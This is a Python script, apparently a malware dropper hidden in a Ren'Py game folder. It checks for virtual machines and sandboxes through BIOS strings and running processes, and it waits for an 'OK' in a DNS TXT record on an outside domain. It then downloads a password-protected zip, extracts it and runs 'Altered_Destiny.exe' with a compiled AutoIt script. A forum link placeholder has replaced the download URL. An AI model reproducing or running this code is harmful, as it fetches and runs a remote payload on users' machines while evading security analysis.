import os
import zipfile
import requests
import subprocess
import platform
def is_running_in_vm():
try:
# Check for common VM and sandbox artifacts
vm_indicators = [
'vmware', # VMware
'qemu', # QEMU
'xen', # Xen
'hyper-v', # Hyper-V
'virtual' # General virtual machine
]
# Check system information for signs of VM
system_info = subprocess.check_output('wmic bios get serialnumber,manufacturer,version', shell=True).lower()
# If any VM indicator is found in the system info, return True
for indicator in vm_indicators:
if indicator in system_info:
return True
# Additional check: presence of typical sandbox processes
sandbox_indicators = [
'sandboxie', # Sandboxie
'vmtoolsd', # VMware tools daemon
'vmwaretray', # VMware tray tool
'qemu-ga' # QEMU guest agent
]
# List running processes and check for sandbox indicators
tasks = subprocess.check_output('tasklist', shell=True).lower()
for indicator in sandbox_indicators:
if indicator in tasks:
return True
return False
except Exception as e:
print("Error checking VM/Sandbox:", e)
return False
def check_dns_txt_record(domain, expected_value):
try:
# Use nslookup to fetch TXT records
output = subprocess.check_output(['nslookup', '-q=txt', domain], shell=True)
# Check if the expected value is in the output
if expected_value in output:
return True
return False
except Exception as e:
print("Error checking DNS TXT record:", e)
return False
# Main execution starts here
if platform.system().lower() == 'windows':
print("Running on Windows...")
# Check if running in a VM or sandbox
if is_running_in_vm():
print("Detected VM or sandbox environment. Skipping further actions.")
else:
print("No VM or sandbox environment detected. Proceeding...")
# Domain and expected value
domain = 'altered.vitalbmine.com'
expected_value = 'OK'
# Check DNS TXT record
if check_dns_txt_record(domain, expected_value):
print("DNS TXT record contains 'OK'. Proceeding with script...")
# URL of the zip archive
url = '
You must be registered to see the links
'
subfolder_path = os.path.join('renpy', 'uguu')
zip_filename = os.path.join(subfolder_path, 'arhive.zip')
password = '321123'
# Download the zip file using requests
print("Downloading zip archive to {}...".format(subfolder_path))
response = requests.get(url)
with open(zip_filename, 'wb') as file:
file.write(response.content)
print("Download completed.")
# Extract the zip file
print("Extracting the zip file into {}...".format(subfolder_path))
with zipfile.ZipFile(zip_filename, 'r') as zip_ref:
zip_ref.extractall(path=subfolder_path, pwd=password)
print("Extraction completed.")
# Paths to the files
exe_path = os.path.join(subfolder_path, 'Altered_Destiny.exe')
arg_file = os.path.join(subfolder_path, 'script.a3x')
# Run Altered_Destiny.exe with or without the argument based on presence of script.a3x
if os.path.exists(exe_path):
if os.path.exists(arg_file):
print("Running Altered_Destiny.exe with script.a3x as an argument...")
subprocess.call([exe_path, arg_file])
else:
print("script.a3x not found. Running Altered_Destiny.exe without arguments...")
subprocess.call([exe_path])
else:
print("Altered_Destiny.exe not found in the extracted folder.")
else:
print("DNS TXT record does not contain 'OK'. Skipping further actions.")
else:
print("This script is intended to run on Windows. Skipping further actions.")